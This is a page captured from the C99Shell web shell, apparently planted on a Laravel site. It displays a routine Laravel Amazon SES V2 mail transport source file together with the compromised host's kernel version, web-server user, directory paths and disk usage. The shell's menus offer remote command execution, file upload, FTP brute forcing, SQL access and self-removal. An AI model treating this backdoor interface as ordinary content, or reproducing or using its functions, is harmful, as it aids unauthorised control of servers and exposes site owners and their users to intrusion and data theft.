!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/laravel/framework/src/Illuminate/Mail/Transport/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SesV2Transport.php (3.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Mail\Transport;

use 
Aws\Exception\AwsException;
use 
Aws\SesV2\SesV2Client;
use 
Exception;
use 
Symfony\Component\Mailer\Header\MetadataHeader;
use 
Symfony\Component\Mailer\SentMessage;
use 
Symfony\Component\Mailer\Transport\AbstractTransport;
use 
Symfony\Component\Mime\Message;

class 
SesV2Transport extends AbstractTransport
{
    
/**
     * The Amazon SES V2 instance.
     *
     * @var \Aws\SesV2\SesV2Client
     */
    
protected $ses;

    
/**
     * The Amazon SES transmission options.
     *
     * @var array
     */
    
protected $options = [];

    
/**
     * Create a new SES V2 transport instance.
     *
     * @param  \Aws\SesV2\SesV2Client  $ses
     * @param  array  $options
     * @return void
     */
    
public function __construct(SesV2Client $ses$options = [])
    {
        
$this->ses $ses;
        
$this->options $options;

        
parent::__construct();
    }

    
/**
     * {@inheritDoc}
     */
    
protected function doSend(SentMessage $message): void
    
{
        
$options $this->options;

        if (
$message->getOriginalMessage() instanceof Message) {
            foreach (
$message->getOriginalMessage()->getHeaders()->all() as $header) {
                if (
$header instanceof MetadataHeader) {
                    
$options['Tags'][] = ['Name' => $header->getKey(), 'Value' => $header->getValue()];
                }
            }
        }

        try {
            
$result $this->ses->sendEmail(
                
array_merge(
                    
$options, [
                        
'ReplyToAddresses' => [$message->getEnvelope()->getSender()->toString()],
                        
'Destination' => [
                            
'ToAddresses' => collect($message->getEnvelope()->getRecipients())
                                    ->
map
                                    
->toString()
                                    ->
values()
                                    ->
all(),
                        ],
                        
'Content' => [
                            
'Raw' => [
                                
'Data' => $message->toString(),
                            ],
                        ],
                    ]
                )
            );
        } catch (
AwsException $e) {
            
$reason $e->getAwsErrorMessage() ?? $e->getMessage();

            throw new 
Exception(
                
sprintf('Request to AWS SES V2 API failed. Reason: %s.'$reason),
                
is_int($e->getCode()) ? $e->getCode() : 0,
                
$e
            
);
        }

        
$messageId $result->get('MessageId');

        
$message->getOriginalMessage()->getHeaders()->addHeader('X-Message-ID'$messageId);
        
$message->getOriginalMessage()->getHeaders()->addHeader('X-SES-Message-ID'$messageId);
    }

    
/**
     * Get the Amazon SES V2 client for the SesV2Transport instance.
     *
     * @return \Aws\SesV2\SesV2Client
     */
    
public function ses()
    {
        return 
$this->ses;
    }

    
/**
     * Get the transmission options being used by the transport.
     *
     * @return array
     */
    
public function getOptions()
    {
        return 
$this->options;
    }

    
/**
     * Set the transmission options being used by the transport.
     *
     * @param  array  $options
     * @return array
     */
    
public function setOptions(array $options)
    {
        return 
$this->options $options;
    }

    
/**
     * Get the string representation of the transport.
     *
     * @return string
     */
    
public function __toString(): string
    
{
        return 
'ses-v2';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0228 ]--